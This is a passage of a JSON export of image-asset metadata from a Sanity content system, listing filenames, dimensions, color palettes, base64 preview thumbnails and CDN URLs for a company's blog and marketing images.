mage/png","originalFilename":"waitress-serving-idc-whitepaper.png","path":"images/sczeoy4w/production/bbccffb2ffd864264b7a26b9e924071d673eea1b-1000x1000.png","sha1hash":"bbccffb2ffd864264b7a26b9e924071d673eea1b","size":118449,"uploadId":"6G3ko8e8Sa2wuudNT6sGiBsmcVKAZ3ET","url":"https://cdn.sanity.io/images/sczeoy4w/production/bbccffb2ffd864264b7a26b9e924071d673eea1b-1000x1000.png"} {"_createdAt":"2024-02-15T16:06:30Z","_id":"image-bbe8816829690721b1670cfc73e2a8072bbe0b1b-2500x1308-png","_rev":"VG7d2o4nr7oZbH2jN3yFIV","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T16:06:30Z","assetId":"bbe8816829690721b1670cfc73e2a8072bbe0b1b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7x2~-nI8WBWD?dt5M_bIWCITRQt7t7WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACQElEQVQokR2Ra0/aYABG+wsGbd/e+7aVq4BsElHmBecUZdgURlsLxXIVEBScxnkZwpQZ3RbmZcbN6eJ/XVhyvj7JyXMQlNF5p+XwV0RPmXdtiN6Gw9+WfLtSYN/9quMPn/nD5/7JS99E3zt+6Ah8gN42KdVR1rLTBgL4zHhkezHxKRo7mo91VpTzeOpyIXGxKH+TtZ/K2r2s/1aMJ1n/FU99fxM/C0d7km8fCJs4X0YImAm9bi3LJ++Sp4p2oWYHqnmdNm/U3J1ReNCtR836m8o+LSSuJqPd0PTx2NSZFOjRzgPauY+QQnY8sr202llN91PGpWoO9PUbI3+n5u7S5r2ef8wUn2X9ITj1hXXuMI4W5zli3Ue085DzdIfjiZl2PNlNvO8r+oVmDrTctaJfrSQHsnarW4/Z4rNi/HkZ6VNSC+drAA4hhAY1sofg3JonuDExuxOe24vMH84tdaPLp5PRXmj682zs65J8/Xb1dib2wxs6oaQGxhUxNo+yFsYVCGETsVEaxhoENEnBoqUS56zz7i3W1ebcu6Lv40jgQPIfi74O49oDsIqyeZyv4LCK82UA64iNVAGtUlyGEiwACzhXwvkqEJqE2AJCE4c1IDRIsU2IWxhXQpn1obO4hfNljLUQnFJdUA2M5r3BOvRUCVgBQo0Qm6TUIoQ6xuUxrgBgFcDasC1jArgBhDrK5myUjuBU2sGnR72We6zGu6oAlv//0SSlNiFsosy6nc5iQ52KncnZ6AzOlzCuaKfXXpDqP2+jnACeMpG/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d456d","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040f6d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbeb","foreground":"#000","population":7.94,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbeb","foreground":"#000","population":7.94,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f93","foreground":"#fff","population":1.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":3.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SQL query optimization- a comprehensive developers guide.png","path":"images/sczeoy4w/production/bbe8816829690721b1670cfc73e2a8072bbe0b1b-2500x1308.png","sha1hash":"bbe8816829690721b1670cfc73e2a8072bbe0b1b","size":215492,"uploadId":"Prmdsm9SCrI4YbFJoQBLfH30YjJudGWz","url":"https://cdn.sanity.io/images/sczeoy4w/production/bbe8816829690721b1670cfc73e2a8072bbe0b1b-2500x1308.png"} {"_createdAt":"2022-06-30T19:57:13Z","_id":"image-bc0bf11769f0d32d7a89b5ed866f136134827030-1200x675-png","_rev":"cEPH2uRN58AU2lp9QO7hgf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:43Z","assetId":"bc0bf11769f0d32d7a89b5ed866f136134827030","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MiQ,OCtQx]aej]~WayWBofof9tWBRPf+j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":675,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACS0lEQVQokX2Q6U8TURTF+1+pKGLUxD/H+MFEjSYal8iqRj+blEU2w64sgbKILJJiQQoEWpbW0pYuM9POlM68mfczfSwSYrzJeffek3tO7rs+z/MoWRZ6XiOfzZHLZFXWNU1xWi5PQTcoFgoYmn7GV1DptVweQ9exbRspJb7KY5fLWKaFWSxSMAoYuqHqU1iWRckqYZkmZtE84c0TjakWEo44M5TS86R3AiGEtG1bCkdIV7jScRwpHEe6QkjXdRVEhbePOc91le40fFwI13NxHIfKKWzHJZ3Ikd2LIywLkIrX80VS0RilTAY891go5d8vn6IyLIRQ91DCQpml6V+sfpnAOkggnbIy2VxcY757lMOVFXDKSOX3T0OJ67qUjmxy2QKR9Rjj3VN8+9jN3o+fpDa2iU5/Z7Z1gNEPbSQWFsE+umB4rvFU9ihaNlsbcRaH5wl0jDHT0s9i3wTBwQBzXcNM+fuZ9veSDv1nw/PhCI/0QY7d1W2ioU2iy+tElsNEgmtsBcMK0eUwxkESTzgnixx7+MKJQzaTGSKHOfayGvG8we+8QSyjsZPMsBVPsbmfILwTYyW6TygaIxjZZ2l7j+BOnFAsyVoizVYqy25Gw/egZ4KHPQEe903ybHCGV19nqR2Zo2FsQeH1yBwvhmZ4OjDFk75JHvUGuP95nHtdY9ztHFW5wj0fmuHl11l81xtbuVrfwpW6ZqrqW7jW0Ep1Yxs3mj5x6207N9+0q7qmqY2axjaqG1qpqmvmcq2fS7V+pavM3Hnfye13HfwBc4US/bFUqiwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#468b9a","foreground":"#fff","population":1.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b748f","foreground":"#fff","population":0.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d63c19","foreground":"#fff","population":2.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4cdd0","foreground":"#000","population":1.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85b4d2","foreground":"#000","population":1.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5993ad","foreground":"#fff","population":0.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d63c19","foreground":"#fff","population":2.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bc0bf11769f0d32d7a89b5ed866f136134827030-1200x675.png","path":"images/sczeoy4w/production/bc0bf11769f0d32d7a89b5ed866f136134827030-1200x675.png","sha1hash":"bc0bf11769f0d32d7a89b5ed866f136134827030","size":33945,"uploadId":"7l2334cA43goLinnbNr9Nc41fJviITV1","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc0bf11769f0d32d7a89b5ed866f136134827030-1200x675.png"} {"_createdAt":"2024-06-10T15:22:59Z","_id":"image-bc3ad94173489184f06e3fcb30035d4367d6c634-2910x844-png","_rev":"oFiEE05U1PQErozi7WC8CI","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:59Z","assetId":"bc3ad94173489184f06e3fcb30035d4367d6c634","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCRMb*~q4U~WIU-;^+4nxtax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.447867298578199,"height":844,"width":2910},"exif":{"PixelXDimension":2910,"PixelYDimension":844,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABOElEQVQYlT3QzU4bMRSG4bl7hFhU3SIEqlS16h0gFiCBuqnClD0VgpAZJmFsj+1je5JM9FZ2oiw+nbN6zk+l5290iwatDOKF4IQQAjFGQtgnjalkXI9st1umacI5z/PzP2aPNbNZTV0/Uf99olKrntWyx2iLt4IfPOIDIaSCSUYzniJpndhOGdzR94r7h99cXP7g9Oyck9Nzvny9otLakWOt4KwU2DkpkEjEy77GlFhv1gdwQiTw8vLK7d0fvn2/4eLqmp+/7qiUshjj8T7hfUBrg1L6WPe9ZhgsIkKM6ZD8joDSjqbVLBrNcuWo+gMokggSC9B1HR/tB21JW2rXLcuZwzBgrS3Jf8zwZrMpW+92u7yhO4L5tM/PnqZpaZqGxfuC+fy9JPd5kFIKYwzGDDjnGMfxiGXwPxLDwNmVbwVqAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303660","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22278b","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#22278b","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4d4ac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98a7e0","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c66b6","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"integrate-logs.png","path":"images/sczeoy4w/production/bc3ad94173489184f06e3fcb30035d4367d6c634-2910x844.png","sha1hash":"bc3ad94173489184f06e3fcb30035d4367d6c634","size":947398,"uploadId":"0JKkeHNj04pigln7rLcPiHLrH2ieo0lY","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc3ad94173489184f06e3fcb30035d4367d6c634-2910x844.png"} {"_createdAt":"2023-07-19T09:18:19Z","_id":"image-bc4aca4e9a0ef39dd94f4d1e4d90f2990dae1cfa-765x548-png","_rev":"77RmzEfKMHZobuqIIvfVHb","_type":"sanity.imageAsset","_updatedAt":"2023-07-19T09:47:45Z","altText":"Example idea in Aiven Ideas","assetId":"bc4aca4e9a0ef39dd94f4d1e4d90f2990dae1cfa","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6SF@Uf.~q_3?b00M|%NR.xu9Ha~M|M|j[x_xuaxWAf5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.395985401459854,"height":548,"width":765},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABsElEQVQokZ2RS4/TMBSF8/9/Div+AAsQhA0jGjtJEUxmkqbx6/r9KrLTVqOOxIJPZ2FbOudcXTfaBKUCyADSM64JAUKBUHkX3cUUobARsREgTAmwSoVGmzC96uEI04v4/WfqDqhDRQihvh/6YUQY98MwjMcOocOhOx5/zcuJc+FcaChznz6fP3x8+fp96bqh/da2bfv09ANhNI7jMI4Yo+odEcJ938/zAgDOuZRSI2X4icSXlvQje35+xRgjjKdpIpTyCuNsPwghpJTO+ZRSzvlyuTQxJmOiVEFrz7lYlmWe523buBAgQEoJVVJKa633PoQQY7ya840YIwCs6/l0Oq3rup7PhFBWqNW11hizR6SUruZLJaWopCKEboQSQgmlQpRqgGu5Uso55x+ad3OIAQAoE0JoAQZAK10xZpe11vl98JDSG3PO2XtPGN8IL05ppTRaF5VRS6OvzkoxP46dtLFKaW3sXuOcs9YaY8rJ+TcB78w5Z+eDMlYaa8qAIYbovb/FlKAaUQLeNedsfODKMmm1C7F+ZroTU4zxfntcWC47S8YH60KI6fb8L5o95v/4C2HdIoCfj7cLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353636","foreground":"#fff","population":1.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c94","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#353636","foreground":"#fff","population":1.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abc4d0","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3abfa","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8cb4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3645c1","foreground":"#fff","population":0.38,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"bc4aca4e9a0ef39dd94f4d1e4d90f2990dae1cfa-765x548.png","path":"images/sczeoy4w/production/bc4aca4e9a0ef39dd94f4d1e4d90f2990dae1cfa-765x548.png","sha1hash":"bc4aca4e9a0ef39dd94f4d1e4d90f2990dae1cfa","size":39634,"title":null,"uploadId":"fBkydtl93kHGzaLeIctRECzDzhkHk8jK","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc4aca4e9a0ef39dd94f4d1e4d90f2990dae1cfa-765x548.png"} {"_createdAt":"2024-03-15T15:32:05Z","_id":"image-bc5ac87983163cc64d5737c4c67f20d810e20944-1200x628-jpg","_rev":"2QvLnXP36WAnQ13A3vl1ee","_type":"sanity.imageAsset","_updatedAt":"2024-03-15T15:32:05Z","assetId":"bc5ac87983163cc64d5737c4c67f20d810e20944","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M35=ML~YM[8^M{.Ax[R$NHWG4mDjs+%Nt0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwABB//EACEQAAEDBAEFAAAAAAAAAAAAAAEAAgMEERMhMgUiNEFx/8QAFgEBAQEAAAAAAAAAAAAAAAAABAIG/8QAGREBAAIDAAAAAAAAAAAAAAAAAAECAxJh/9oADAMBAAIRAxEAPwDjNC/pWCISB+S3dr2grHxZnCnN4761ZBRk2i2td5Dvq1OES0FAjPLRUhfyKkrbiH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36386a","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":12.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":12.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdcfe6","foreground":"#000","population":4.2,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8497c8","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f99","foreground":"#fff","population":1.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2885","foreground":"#fff","population":8.42,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ai-vip-dinner-series_meta-preview.jpg","path":"images/sczeoy4w/production/bc5ac87983163cc64d5737c4c67f20d810e20944-1200x628.jpg","sha1hash":"bc5ac87983163cc64d5737c4c67f20d810e20944","size":50732,"uploadId":"W2UPFLQ1SOLyrCL8YFsYegCQFmKxb7xz","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc5ac87983163cc64d5737c4c67f20d810e20944-1200x628.jpg"} {"_createdAt":"2022-11-16T13:01:59Z","_id":"image-bc6ea499ff8bfe90595d27c855f045a76d90ed0c-1200x630-jpg","_rev":"YI3rks3mbRtnzMpdn9rP0S","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T13:01:59Z","assetId":"bc6ea499ff8bfe90595d27c855f045a76d90ed0c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA^J{~RkF{[o$-aLe.oyVt+bJBofxDI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EACAQAAICAgICAwAAAAAAAAAAAAECAwQAERIhBTEUQZH/xAAXAQADAQAAAAAAAAAAAAAAAAABBQYH/8QAGxEBAQADAAMAAAAAAAAAAAAAAQIAAxEFEhX/2gAMAwEAAhEDEQA/ANGtDVFU84Y2fW9lu8TcsV/G+J+QCqTSy8NMnLimvYyl+4l6H5ipoY7CKk6B1XsA/WQ/0/TYNnTNY2jcp1xVEV7FKGUhyzLtiBob3hlUMaxxqiKFUegMMW7fI1VrJwwy0Adz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4be","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":6.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca9a1","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Everactive_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/bc6ea499ff8bfe90595d27c855f045a76d90ed0c-1200x630.jpg","sha1hash":"bc6ea499ff8bfe90595d27c855f045a76d90ed0c","size":214622,"uploadId":"fVan8fAaMSU0KfwjRlZYkYQEgOqKRfnc","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc6ea499ff8bfe90595d27c855f045a76d90ed0c-1200x630.jpg"} {"_createdAt":"2023-06-12T10:28:02Z","_id":"image-bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c-1999x637-png","_rev":"OSa4Of7leLeKOMRytObBm4","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T10:28:02Z","assetId":"bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7SF;M-TO@~CK3^,~q_NxuNs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1381475667189953,"height":637,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABG0lEQVQYlVXQ207DMAwG4L7/UyG44ZrbbV0LKkvTdklzbhP7Rw0MhKVPVg62EjfMjCOOfCBmbC7A9AJzN0COI6ZpglIK1lo472Ckgn4bYE4SwXrEGJFixL7vaB7NiAg55yo5D/Uh8HG6om1bXLsOoxBYlcaqNdR8x9wJyP6GSUrc5IT3+Q7pAhpmZiLinPOvLSU2SvPnMHDf99U0jhyU4qA1W2MrY0x1XTQ/3TS/LI6blBK2batKKfWlhQh73utXvPdVCgHFe+ze17u5ZBQqtWYMG17vAc86ohmF4GVZWCnF67qytZadcxxj5FLKMeCqBtGfOvTv/a0Qr3vhey7cXC4XatuWjnw+n2s+1kIISikdlT9AwH+PM+AB9AWb6s1Bk0MIXgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d3f71","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1142e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#09b7e7","foreground":"#fff","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bc90","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4746c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54948c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09b7e7","foreground":"#fff","population":0.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c-1999x637.png","path":"images/sczeoy4w/production/bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c-1999x637.png","sha1hash":"bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c","size":124512,"uploadId":"TwlgVwnuxjrcG29UCwhkrSV8lSfkVzVM","url":"https://cdn.sanity.io/images/sczeoy4w/production/bc829ea7a024a9e6c8d6bad9656eb7a0e801c73c-1999x637.png"} {"_createdAt":"2022-06-14T14:41:14Z","_id":"image-bcc799c7711e9dd26afda6d128c13f721f03a3c0-512x512-jpg","_rev":"oamrAPLmQLQjd9jh7YpzZy","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:14Z","assetId":"bcc799c7711e9dd26afda6d128c13f721f03a3c0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"euM%$Lxu.Tt7t7M_a{n%V@oztRofjuWVRjtSjYbIbHRjs:WBaejYaz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcGBP/EACUQAAIBBAECBwEAAAAAAAAAAAECAwAEBRIRBkEHFBUhIjFhUf/EABUBAQEAAAAAAAAAAAAAAAAAAAQF/8QAHBEBAAMAAgMAAAAAAAAAAAAAAQACAxExBCFB/9oADAMBAAIRAxEAPwCrdc5hsc8dlbPrJIpOvc1Lba7z1hesUnYwu2x39+Pzmqt4gYKOXJ+oTEmNYyq8diax/TeNS8u44Elk0jl5ALc7D+Gp+9bWvx9jfHKGbZ6JR8PeedxsE7+zso25HeldFm4EAWNQir8QB+UqjWqHDJbYX1HW0hbATggfdY7pwLbSxiNF+RBJIpSh7KakfgDgk3WORHt9io52P1SlKXR5qQFu5//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#402c1c","foreground":"#fff","population":3.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74492c","foreground":"#fff","population":3.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4896b","foreground":"#fff","population":7.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc5b4","foreground":"#000","population":4.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4bd9b","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b4896b","foreground":"#fff","population":7.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f6942","foreground":"#fff","population":4.53,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Floor_Drees.jpeg","path":"images/sczeoy4w/production/bcc799c7711e9dd26afda6d128c13f721f03a3c0-512x512.jpg","sha1hash":"bcc799c7711e9dd26afda6d128c13f721f03a3c0","size":44365,"uploadId":"fiQgFLfq7Q5qFYdzKrIF4I1zvGmF0ybW","url":"https://cdn.sanity.io/images/sczeoy4w/production/bcc799c7711e9dd26afda6d128c13f721f03a3c0-512x512.jpg"} {"_createdAt":"2022-09-19T11:12:02Z","_id":"image-bcd8e785b2b589626af68e187781d0dd655aadee-1567x844-webp","_rev":"Mv9ba7QfcthzshVwIcBvrX","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T11:12:02Z","assetId":"bcd8e785b2b589626af68e187781d0dd655aadee","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRQJ4V%%_39Ft8K,nheTg3t7_3IAE1-poJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBAj/xAAkEAACAQQBBAIDAAAAAAAAAAABAgMABAURIRIUMUEGExVRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAQBAv/EABsRAAICAwEAAAAAAAAAAAAAAAECAAMREiEi/9oADAMBAAIRAxEAPwDome2jDO7SS8bJ05qa3vyzPd5kIbeSBLcOFtWHLEe9/wBqqpEm348n90nfCY38kJezi+wne+fNGvvsUeAImqpGztNuEmuJMZA1weqUqOon2aKYxRoF0FAFFVHfUZPZllXPJ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414143","foreground":"#fff","population":5.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b85827","foreground":"#fff","population":1.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#414143","foreground":"#fff","population":5.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a6d3","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d345","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6666a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5890f","foreground":"#000","population":5.25,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"ClickHouse_blog_752x405__1_.webp","path":"images/sczeoy4w/production/bcd8e785b2b589626af68e187781d0dd655aadee-1567x844.webp","sha1hash":"bcd8e785b2b589626af68e187781d0dd655aadee","size":65406,"uploadId":"15IN6Avz1bjXR1SqL5g9djCzNUZ25PZX","url":"https://cdn.sanity.io/images/sczeoy4w/production/bcd8e785b2b589626af68e187781d0dd655aadee-1567x844.webp"} {"_createdAt":"2023-07-31T13:01:37Z","_id":"image-bcd923a433c0375eb13233df964e7ac3dcf24c97-1500x620-webp","_rev":"yVtK81NbbqTTUsUfKy7mPs","_type":"sanity.imageAsset","_updatedAt":"2023-07-31T13:01:37Z","assetId":"bcd923a433c0375eb13233df964e7ac3dcf24c97","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6Q]]B?bog?b%L_4t7ogj=%L~WbJWAo#M}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4193548387096775,"height":620,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEI/8